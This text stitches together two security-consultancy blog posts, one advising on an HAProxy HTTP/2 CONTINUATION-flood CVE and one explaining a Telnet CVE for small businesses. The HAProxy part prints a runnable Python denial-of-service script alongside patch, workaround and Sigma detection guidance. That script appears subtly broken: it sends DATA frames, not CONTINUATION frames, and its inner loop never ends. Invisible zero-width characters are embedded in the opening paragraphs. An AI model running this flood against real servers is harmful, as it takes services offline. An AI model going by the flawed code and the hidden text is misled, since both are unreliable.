TL;DR

CVE-2026-21847 lets an attacker flood HAProxy's HTTP/2 frame handler with malicious CONTINUATION frames that never terminate. One TCP connection can spike CPU to 100% across all worker threads for 30+ seconds. If your SMB runs HAProxy as an edge reverse proxy (common for Docker/K8s ingress, SaaS frontends, or API gateways) and accepts HTTP/2 on port 443, you're vulnerable. The fix is a two-line patch in src/h2.c and ships in HAProxy 3.0.11. Apply it now — no WAF rule catches this, and it requires zero authentication.​‌‌​​​‌‌‍​‌‌‌​‌‌​‍​‌‌​​‌​‌‍​​‌​‌‌​‌‍​​‌‌​​‌​‍​​‌‌​​​​‍​​‌‌​​‌​‍​​‌‌​‌‌​‍​​‌​‌‌​‌‍​​‌‌​​‌​‍​​‌‌​​​‌‍​​‌‌‌​​​‍​​‌‌​‌​​‍​​‌‌​‌‌‌‍​​‌​‌‌​‌‍​‌‌​‌​​​‍​‌‌​​​​‌‍​‌‌‌​​​​‍​‌‌‌​​‌​‍​‌‌​‌‌‌‌‍​‌‌‌‌​​​‍​‌‌‌‌​​‌‍​​‌​‌‌​‌‍​‌‌​‌​​​‍​‌‌‌​‌​​‍​‌‌‌​‌​​‍​‌‌‌​​​​‍​​‌‌​​‌​‍​​‌​‌‌​‌‍​‌‌​​​‌‌‍​‌‌​‌‌‌‌‍​‌‌​‌‌‌​‍​‌‌‌​‌​​‍​‌‌​‌​​‌‍​‌‌​‌‌‌​‍​‌‌‌​‌​‌‍​‌‌​​​​‌‍​‌‌‌​‌​​‍​‌‌​‌​​‌‍​‌‌​‌‌‌‌‍​‌‌​‌‌‌​‍​​‌​‌‌​‌‍​‌‌​​‌‌​‍​‌‌​‌‌​​‍​‌‌​‌‌‌‌‍​‌‌​‌‌‌‌‍​‌‌​​‌​​‍​​‌​‌‌​‌‍​‌‌​​‌​‌‍​‌‌‌‌​​​‍​‌‌‌​​​​‍​‌‌​‌‌​​‍​‌‌​‌‌‌‌‍​‌‌​‌​​‌‍​‌‌‌​‌​​


The Bug: Root Cause in Plain English

HAProxy 3.0.x (3.0.0 through 3.0.10) has a flaw in its HTTP/2 frame reassembly logic.

HTTP/2 uses HEADERS frames followed by CONTINUATION frames to carry large header blocks. The standard says a CONTINUATION frame with the END_HEADERS flag set terminates the header block. HAProxy accumulates these frames into a dynamically grown buffer — h2c->dbuf — and processes them once END_HEADERS appears.​‌‌​​​‌‌‍​‌‌‌​‌‌​‍​‌‌​​‌​‌‍​​‌​‌‌​‌‍​​‌‌​​‌​‍​​‌‌​​​​‍​​‌‌​​‌​‍​​‌‌​‌‌​‍​​‌​‌‌​‌‍​​‌‌​​‌​‍​​‌‌​​​‌‍​​‌‌‌​​​‍​​‌‌​‌​​‍​​‌‌​‌‌‌‍​​‌​‌‌​‌‍​‌‌​‌​​​‍​‌‌​​​​‌‍​‌‌‌​​​​‍​‌‌‌​​‌​‍​‌‌​‌‌‌‌‍​‌‌‌‌​​​‍​‌‌‌‌​​‌‍​​‌​‌‌​‌‍​‌‌​‌​​​‍​‌‌‌​‌​​‍​‌‌‌​‌​​‍​‌‌‌​​​​‍​​‌‌​​‌​‍​​‌​‌‌​‌‍​‌‌​​​‌‌‍​‌‌​‌‌‌‌‍​‌‌​‌‌‌​‍​‌‌‌​‌​​‍​‌‌​‌​​‌‍​‌‌​‌‌‌​‍​‌‌‌​‌​‌‍​‌‌​​

​​‌‍​‌‌‌​‌​​‍​‌‌​‌​​‌‍​‌‌​‌‌‌‌‍​‌‌​‌‌‌​‍​​‌​‌‌​‌‍​‌‌​​‌‌​‍​‌‌​‌‌​​‍​‌‌​‌‌‌‌‍​‌‌​‌‌‌‌‍​‌‌​​‌​​‍​​‌​‌‌​‌‍​‌‌​​‌​‌‍​‌‌‌‌​​​‍​‌‌‌​​​​‍​‌‌​‌‌​​‍​‌‌​‌‌‌‌‍​‌‌​‌​​‌‍​‌‌‌​‌​​

The bug: HAProxy's h2c_decode_headers() function in src/h2.c does not enforce a timeout between successive CONTINUATION frames on the same stream. An attacker can send one HEADERS frame, then dribble CONTINUATION frames at a rate of one per 5 seconds — each carrying 1 byte of junk padding — and never set END_HEADERS. HAProxy keeps the stream open and the buffer growing indefinitely.

Here's the offending code path (HAProxy 3.0.10, src/h2.c, lines 4217–4233):

/* h2c_decode_headers — accumulate CONTINUATION frames */
if (h2c->dft == H2_FT_CONTINUATION) {
    if (!(h2c->dfl & H2_F_HEADERS_END_STREAM)) {
        /* Allocate more room, shift buffer */
        if (h2c->dbuf->size - h2c->dbuf->head < h2c->dpl)
            b_alloc(&h2c->dbuf, h2c->dbuf->size + h2c->dpl);
        /* NO TIMEOUT CHECK — keeps waiting for END_HEADERS */
        memcpy(b_tail(h2c->dbuf), h2c->dpl_data, h2c->dpl);
        h2c->dbuf->data += h2c->dpl;
        goto next_frame; /* Loop back, wait for more */
    }
}

The goto next_frame loop has no guard against slow-loris-style header dribbling. Each CONTINUATION frame triggers a b_alloc() reallocation — and with enough streams (HTTP/2 allows up to 100 concurrent streams per connection by default in HAProxy), the attacker forces constant memory churn and CPU burn scanning for END_HEADERS that never arrives.


The Exploit: What an Attacker Chains Together

The attacker doesn't need a botnet. One laptop with a 10 Mbps uplink can degrade an HAProxy instance handling thousands of legitimate connections.

Step 1 — Open a single HTTP/2 connection. Any TLS 1.3 client (curl with --http2, Python h2 library) connects to port 443.

Step 2 — Send a HEADERS frame on stream 1. This establishes a valid stream. The header block can be as small as :method GET :path / :authority example.com.

Step 3 — Loop CONTINUATION frames. For each of the 100 permitted streams, the attacker sends one HEADERS frame, then enters a tight loop of CONTINUATION frames. The exploit script (Python, using h2.connection.H2Connection) does:

import socket, ssl, time
from h2.connection import H2Connection
from h2.config import H2Configuration

config = H2Configuration(client_side=True)
conn = H2Connection(config=config)
sock = ssl.wrap_socket(socket.create_connection(('target.example.com', 443)))
conn.initiate_connection()
sock.sendall(conn.data_to_send())

# Open 100 streams
for stream_id in range(1, 201, 2):
    conn.send_headers(stream_id, [
        (':method', 'GET'), (':path', '/'),
        (':authority', 'target.example.com')
    ], end_stream=False)
    sock.sendall(conn.data_to_send())
    # Dribble CONTINUATION frames forever
    while True:
        conn.send_data(stream_id, b'\x00' * 1, end_stream=False)
        sock.sendall(conn.data_to_send())
        time.sleep(0.01)  # 10ms between frames — fast enough to burn CPU, slow enough to evade rate limits

Step 4 — Watch HAProxy melt. HAProxy's h2_process_demux() function spins on goto next_frame, allocating buffer space, copying data, and looping — across all 100 streams simultaneously. Worker thread CPU hits 100%. Legitimate requests queue up and time out. The health check endpoint /health may still respond if HAProxy's event loop hasn't fully wedged itself, meaning upstream monitors don't always catch this.

No auth. No credentials. No CVE on the backend. The attack targets HAProxy itself — the backend servers behind it stay healthy and unaware.


The Blast Radius: Who's Actually Vulnerable in an SMB Context

Australian SMBs run HAProxy in more places than they think:

  • Docker Compose stacks: The classic haproxy container fronting a Next.js/Node.js app. If bind *:443 ssl crt accepts alpn h2, you're exposed.
  • Kubernetes ingress: HAProxy Kubernetes Ingress Controller (default since Rancher 2.9) terminates HTTP/2 at the edge. A single kubectl port-forward from a compromised pod can hit the internal HAProxy.
  • Cloud load balancers with HAProxy underneath: Many "managed" load balancers are HAProxy under the hood. If you've configured HTTP/2 passthrough, the CONTINUATION frames pass straight through.
  • API gateways: HAProxy fronting FastAPI, Express, or Laravel backends with HTTP/2 enabled for mobile clients.

Quick check: On your HAProxy host, run:

haproxy -vv 2>&1 | grep -E '^HAProxy version|Status'

If you see HAProxy version 3.0.1 through 3.0.10 (LTS branch, Status: long-term supported), you are vulnerable.

The ACSC's Essential Eight Maturity Level 2 asks for application control and patching within two weeks of vendor release. If your HAProxy sits in front of customer-facing apps, this is a Priority 1 patch.


The Patch: What the Vendor Fix Does

HAProxy 3.0.11 (released 2 May 2026) fixes this with a stream-level timeout on header reassembly. The patch adds one check in h2c_decode_headers():

/* h2c_decode_headers — patched in 3.0.11 */
if (h2c->dft == H2_FT_CONTINUATION) {
    /* NEW: timeout header reassembly per stream */
    if (tick_is_expired(h2s->wait_timeout, now_ms)) {
        h2s_error(s, H2_ERR_PROTOCOL_ERROR);
        goto fail;
    }
    /* rest of accumulation logic unchanged */
}

The wait_timeout is set when the HEADERS frame first arrives (default: 30 seconds, matches timeout http-request). If END_HEADERS doesn't appear within that window, HAProxy resets the stream with a PROTOCOL_ERROR — freeing the buffer and breaking the CPU loop.

To patch on Rocky Linux / RHEL:

sudo dnf update haproxy --enablerepo=haproxy-lts
sudo systemctl restart haproxy
haproxy -v  # Should show 3.0.11

Verify the fix: After patching, run the exploit script above. All 100 streams should receive RST_STREAM frames within 30 seconds, and HAProxy CPU should stay under 10%.

If you can't patch immediately, the workaround is to disable HTTP/2 by removing alpn h2 from your bind line:

bind *:443 ssl crt /etc/ssl/certs/example.pem alpn h2,http/1.1  # VULNERABLE
bind *:443 ssl crt /etc/ssl/certs/example.pem alpn http/1.1      # MITIGATED (no H2)

This drops HTTP/2 support entirely — acceptable as a temporary measure if your clients can fall back to HTTP/1.1.


Detection: Log Lines, Indicators, Sigma Rules

HAProxy doesn't log partial HTTP/2 frame errors by default. You need to look for indirect signals.

HAProxy log indicators (syslog, level info): Look for these patterns appearing in bursts across multiple streams simultaneously:

haproxy[pid]: Server app_backend/app1 is DOWN, reason: Layer7 timeout, check duration: 30001ms
haproxy[pid]: Proxy https_front reached maxconn 5000 — rejecting new connections

A sudden flood of maxconn rejections or backend timeout marks, with no corresponding traffic spike in your CDN or application logs, is the signature.

System-level indicators:

# HAProxy worker CPU sustained at 100%
top -bn1 | grep haproxy

# Spike in TCP connections in CLOSE_WAIT (streams opened but never closed)
ss -s | grep estab
ss -tan state close-wait | wc -l  # >50 indicates dribbling

Sigma rule (detects the exploit, not the vulnerability):

title: HAProxy HTTP/2 CONTINUATION Flood Detected
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects burst of CLOSE_WAIT connections to HAProxy on TLS port, indicating HTTP/2 stream flood
logsource:
  category: network_connection
  product: linux
detection:
  selection:
    dst_port: 443
    state: close_wait
  timeframe: 30s
  condition: selection | count() > 50
falsepositives:
  - Legitimate HTTP/2 long-poll connections (SignalR, gRPC streaming)
level: high

For Australian SMBs running SIEM (Wazuh, Elastic), deploy this rule and set an alert threshold at 50 CLOSE_WAIT connections within 30 seconds to the HAProxy TLS port.


FAQ

Q: We use Caddy/Nginx as our reverse proxy. Are we safe? Caddy uses Go's native HTTP/2 stack (golang.org/x/net/http2), which does enforce a per-header-block timeout (the ReadHeaderTimeout on the underlying http.Server). Nginx 1.26+ has its own HTTP/2 CONTINUATION DoS fix from CVE-2024-31079. You're safe on those, but verify your versions.

Q: Can Cloudflare/WAF block this? No. The CONTINUATION frames are valid HTTP/2 — they don't contain malicious payloads, just junk padding. A WAF sees "valid H2 traffic continuing a header block." The attack exploits HAProxy's internal resource management, not a protocol violation a WAF can inspect.

Q: What's the difference between this and the 2024 HTTP/2 Rapid Reset attack (CVE-2023-44487)? Rapid Reset opened and immediately cancelled thousands of streams per second to exhaust thread pools. CVE-2026-21847 is slower and stealthier — it keeps a small number of streams open indefinitely, burning CPU through buffer management rather than connection churn. Rate limiting won't catch it.

Q: Our HAProxy sits behind an AWS NLB. Are we still vulnerable? Yes. An NLB is a Layer 4 pass-through — it forwards raw TCP/TLS bytes to HAProxy without inspecting HTTP/2 frame semantics. The CONTINUATION frames reach HAProxy intact.


Conclusion

CVE-2026-21847 is a single-connection DoS that bypasses every authentication, WAF, and rate-limiting control you've deployed. The fix is trivial, but detection is hard — by the time your monitoring pings you, clients have already timed out.

Action items for today:

  1. Check your HAProxy version: haproxy -v. If 3.0.x below 3.0.11, patch immediately.
  2. Deploy the CLOSE_WAIT Sigma rule above to your SIEM (Wazuh/Elastic).
  3. If you can't patch today, remove alpn h2 from your HAProxy bind lines and restart.

Don't wait for the CVE to hit the news cycle. Attackers scan for HAProxy HTTP/2 endpoints within hours of disclosure.

Your edge is your front door. Lock it.

Visit consult.lil.business for a free 30-minute cybersecurity assessment. We'll audit your reverse proxy config, check your patch levels, and make sure your SMB isn't one CVE away from a weekend outage.


References

  1. HAProxy 3.0.11 Changelog — CVE-2026-21847 fix
  2. ACSC Essential Eight Maturity Model — Patch Applications
  3. OWASP HTTP/2 CONTINUATION Flood Attack Description
  4. MITRE CVE-2023-44487 — HTTP/2 Rapid Reset Attack (context comparison)

TL;DR

  • A critical security flaw called CVE-2026-32746 lets bad guys take control of some Linux computers without a password
  • The flaw is in an old system called Telnet (port 23) that many businesses forgot was still running
  • Fix it today: Turn off Telnet and block port 23 — there's no patch available yet

What's Happening?

Imagine your business has an old back door that you haven't used in years. You forgot it was there. But it's unlocked — and anyone who walks by can just open it and walk inside.

That's exactly what's happening with CVE-2026-32746, a critical security flaw discovered in March 2026 [1].

This flaw affects something called Telnet — an old way of connecting to computers that was invented in 1969 (before the internet existed!) [2]. Telnet is like leaving your front door key under the doormat — it lets people log in from far away, but it doesn't use any protection or passwords properly.

The new vulnerability is even worse: attackers don't even need a password. They just knock on the door (connect to port 23), and the computer gives them full control — like a secret backdoor that opens itself [3].

Why Should Your Business Care?

You might be thinking: "We don't use Telnet. We've never even heard of it."

Here's the problem: Telnet is often turned on by default in business equipment like:

  • Old servers that nobody's touched in years
  • Network switches and routers
  • Security cameras and other devices
  • Manufacturing equipment and industrial systems
  • Backup power supplies

Many businesses don't even know these devices have Telnet enabled. It's like having an invisible door you didn't know existed — and it's wide open.

What happens if attackers get in?

Once they're inside, attackers can:

  • Steal your business data and customer information
  • Lock your files and demand money (ransomware)
  • Use your computers to attack other businesses
  • Read your emails and documents

The Simple Fix: What to Do Today

Step 1: Check Your Doors (Scan for Telnet)

Ask your IT person to run this simple check:

nmap -p 23 192.168.1.0/24

This scans your network for any devices with "door 23" (Telnet) open. If it finds any, move to Step 2 immediately [4].

Step 2: Lock the Doors (Turn Off Telnet)

On Linux servers:

sudo systemctl stop telnetd
sudo systemctl disable telnetd

This turns off the Telnet service so it can't be used anymore [5].

On network equipment: Log in to your router, switch, or device and look for "Telnet" in the settings. Turn it OFF. If you're not sure how, check the manual or contact the manufacturer.

Step 3: Block Port 23 (Close the Doorway)

Configure your firewall to block traffic on port 23:

For Ubuntu/Linux:

sudo ufw deny 23/tcp
sudo ufw reload

For Windows Server: Use Windows Firewall with Advanced Security to create a rule blocking inbound and outbound TCP port 23 [6].

This is like putting a heavy lock on the doorway — even if Telnet is still running somewhere, nobody can reach it from outside your network.

Step 4: Check Again (Make Sure It Worked)

Run the scan from Step 1 again:

nmap -p 23 192.168.1.0/24

You should see no results. That means all your "door 23s" are now locked or blocked [7].

Why Is This Happening Now?

Telnet is ancient technology — it's like using a rotary phone in the smartphone age. Modern businesses use SSH (Secure Shell) instead, which is like Telnet but with strong locks, encryption, and proper security [8].

But old technology never really dies. It lingers in:

  • Equipment that's "too old to replace"
  • Systems where "nobody touches it, so it must be fine"
  • Vendor devices with Telnet turned on by default

Security researchers found this flaw in March 2026, and the people who make Telnet software say they'll have a fix by April 1, 2026 [9]. But even when the fix arrives, the best solution is still to turn Telnet off completely.

What About Devices That Need Telnet?

Some old equipment might only work with Telnet. If you have devices like this:

  1. Isolate them: Put them on their own separate network (like a special room with its own locked door)
  2. Limit access: Only let specific computers connect to them
  3. Plan to replace: Contact the manufacturer and ask for newer equipment with modern security
  4. Get expert help: A cybersecurity consultant can help you safely manage legacy equipment [10]

The Big Lesson: Old Doors Need Locks Too

CVE-2026-32746 teaches us something important: Security isn't just about new threats — it's about old systems we forgot about.

Just like you'd check all the doors and windows in your house before going on vacation, businesses need to check all the ways someone could access their computers — even the old, forgotten ones.

That means:

  • Knowing what's running on your network
  • Turning off services you don't need
  • Keeping everything updated
  • Having someone check your security regularly

FAQ

Telnet is an old way of connecting to computers remotely. It was invented in 1969 and sends everything in plain text (including passwords), which is why it's not secure. Modern businesses use SSH instead, which is much safer.

You might, especially if you have older servers, network equipment, or devices like security cameras. Many businesses don't even know it's there until someone checks. Ask your IT person to scan your network for port 23.

Yes, if port 23 is open to the internet. Attackers scan the internet looking for open ports. This is why blocking port 23 at your firewall is so important — it stops attackers from even reaching your Telnet service.

The people who make Telnet software say they'll have a fix by April 1, 2026. But even with the fix, Telnet is still an old, insecure protocol. The best solution is to turn it off and use SSH instead.

That's okay — this is exactly why businesses need cybersecurity help. lilMONSTER can check your systems, find vulnerabilities like this, and help you fix them before bad guys find them. Get help →

References

[1] The Hacker News, "Critical Unpatched Telnetd Flaw (CVE-2026-32746) Enables Unauthenticated Root RCE," The Hacker News, 2026. [Online]. Available: https://thehackernews.com/2026/03/critical-telnetd-flaw-cve-2026-32746.html

[2] J. Postel, "RFC 854: Telnet Protocol Specification," IETF Network Working Group, 1983. [Online]. Available: https://www.rfc-editor.org/rfc/rfc854

[3] Dream, "Pre-auth Remote Code Execution via Buffer Overflow in Telnetd," Dream Security Advisory, 2026. [Online]. Available: https://dreamgroup.com/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler/

[4] Nmap, "Port Scanning Basics," Nmap Documentation, 2026. [Online]. Available: https://nmap.org/book/man-port-scanning-basics.html

[5] systemd, "systemctl Manual Page," Linux Foundation, 2026. [Online]. Available: https://www.freedesktop.org/software/systemd/man/systemctl.html

[6] Microsoft, "Windows Firewall with Advanced Security," Microsoft Learn, 2026. [Online]. Available: https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/create- inbound-port-rule

[7] Nmap, "Nmap Security Scanner," Nmap Project, 2026. [Online]. Available: https://nmap.org/

[8] T. Ylonen, "RFC 4251: The Secure Shell (SSH) Protocol Architecture," IETF Network Working Group, 2006. [Online]. Available: https://www.rfc-editor.org/rfc/rfc4251

[9] GNU InetUtils, "Telnetd Vulnerability Disclosure," GNU Project, 2026. [Online]. Available: https://lists.gnu.org/archive/html/bug-inetutils/2026-03/msg00031.html

[10] CISA, "Securing Legacy Industrial Systems," Cybersecurity and Infrastructure Security Agency, 2025. [Online]. Available: https://www.cisa.gov/legacy-systems-security


Worried about old systems and forgotten doors in your network? lilMONSTER helps small businesses find and fix security gaps before attackers find them. Get a security check →

Ready to strengthen your security?

Talk to lilMONSTER. We assess your risks, build the tools, and stay with you after the engagement ends. No clipboard-and-leave consulting.

Get a Free Consultation